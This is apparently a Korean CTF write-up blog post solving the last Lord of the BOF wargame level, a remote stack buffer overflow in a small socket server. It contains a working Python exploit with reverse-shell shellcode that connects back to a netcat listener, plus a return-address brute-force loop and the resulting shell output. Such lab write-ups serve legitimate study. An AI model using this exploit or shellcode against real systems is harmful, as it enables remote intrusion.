시작
안녕하세요 :D
LOB 마지막 문제!! 휴가 때마다 천천히 풀다보니 엄청 오래 걸렸네요 ㅠㅠ
바로 시작해보죠!!
Write UP
[xavius@localhost xavius]$ cat death_knight.c
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
소켓 프로그래밍 코드입니다.
6666번 포트를 열고 기다리는데, 40 bytes인 버퍼에 비해 입력은 256 bytes를 받아서 Remote BOF가 터져요.
[xavius@localhost xavius]$ netstat -ant
Active Internet connections (servers and established)
.
.
tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN
Listen 상태인 6666번 포트가 보입니다.
사실 원격으로 BOF를 터뜨린다는 것 외엔 일반적인 문제와 다를 것이 없어요.
remote shellcode를 이용해서 페이로드를 때려박고 로컬에 nc로 포트 하나를 열어놓은 후 통신하면 됩니다.
페이로드 구성은 dummy(44) + RET + shellcode인데..
RET을 구할 방법이 없습니다ㅠㅠ 따라서 0xbfff0000부터 0xbfffffff까지 브루트 포싱을 해주어야 해요.
Windows 64bit 환경에서 4444번 포트를 열어놓고 파이썬 코드를 실행시켜 보겠습니다.
LOB 머신과 통신이 되는지 꼭!!! 확인해야 해요.
C:\Python27>nc -vp 4444
listening on [any] 4444 ..
nc로 4444번 포트를 열었어요. 여기의 IP는 192.168.55.103입니다.
파이썬 코드를 실행시켜 보겠습니다.
import sys
import struct
from socket import *
payload = ""
#p32 = lambda x: struct.pack("<L", x)
host = "192.168.127.128"
port = 6666
IP_ADDR = "\xc0\xa8\x37\x67" # 192.168.55.103
local_PORT = "\x11\x5c" # 4444
shellcode = ""
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
shellcode += "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
shellcode += "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
shellcode += "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
shellcode += IP_ADDR + "\x66\x68" + local_PORT + "\x66\x53\xfe"
shellcode += "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
shellcode += "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
shellcode += "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
shellcode += "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
shellcode += "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
shellcode += "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
shellcode += "\x80"
for i in range(0xff, 0x00, -1):
for j in range(0xff, 0x00, -1):
payload += "A" * 44
payload += chr(j) + chr(i) + "\xff\xbf"
payload += "\x90" * 80
payload += shellcode
print "RET addr = 0xbfff" + format(i, 'x') + format(j, 'x')
s = socket(AF_INET, SOCK_STREAM)
s.connect((host,port))
s.recv(52)
s.recv(6)
s.send(payload)
s.close()
payload = ""
실행시키면 다음과 같이 브루트 포싱이 시작돼요.
.
.
RET addr = 0xbffffddf
RET addr = 0xbffffdde
RET addr = 0xbffffddd
RET addr = 0xbffffddc
RET addr = 0xbffffddb
RET addr = 0xbffffdda
RET addr = 0xbffffdd9
RET addr = 0xbffffdd8
RET addr = 0xbffffdd7
RET addr = 0xbffffdd6
RET addr = 0xbffffdd5
RET addr = 0xbffffdd4
.
.
그러다가 RET 주소에 NOP이 걸리면 sled를 타고 내려와 쉘코드에 도착합니다.
C:\Python27>nc -vp 4444
listening on [any] 4444 ..
connect to [192.168.55.103] from DESKTOP-M88ED6 [192.168.55.103] 50504
whoami
death_knight
my-pass
euid = 520
got the life
Exploit!!
마무리
Remote BOF까지 마무리했습니다.
정말 길었네요.. 입문용 CTF라고 해도 까다로웠던 문제가 많이 있었습니다ㅠㅠ
한 문제도 못 풀던 저를 한 단계 업그레이드 시켜준 고마운 문제들이라고 생각해요 ㅎㅎ
마지막 몬스터인 death_knight로 마무리하겠습니다.
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] death_knight (0) | 2019.10.04 |
---|---|
[LOB] nightmare (0) | 2019.10.03 |
[LOB] succubus (0) | 2019.09.09 |
[LOB] zombie_assassin (0) | 2019.09.09 |
[LOB] zombie (0) | 2019.08.03 |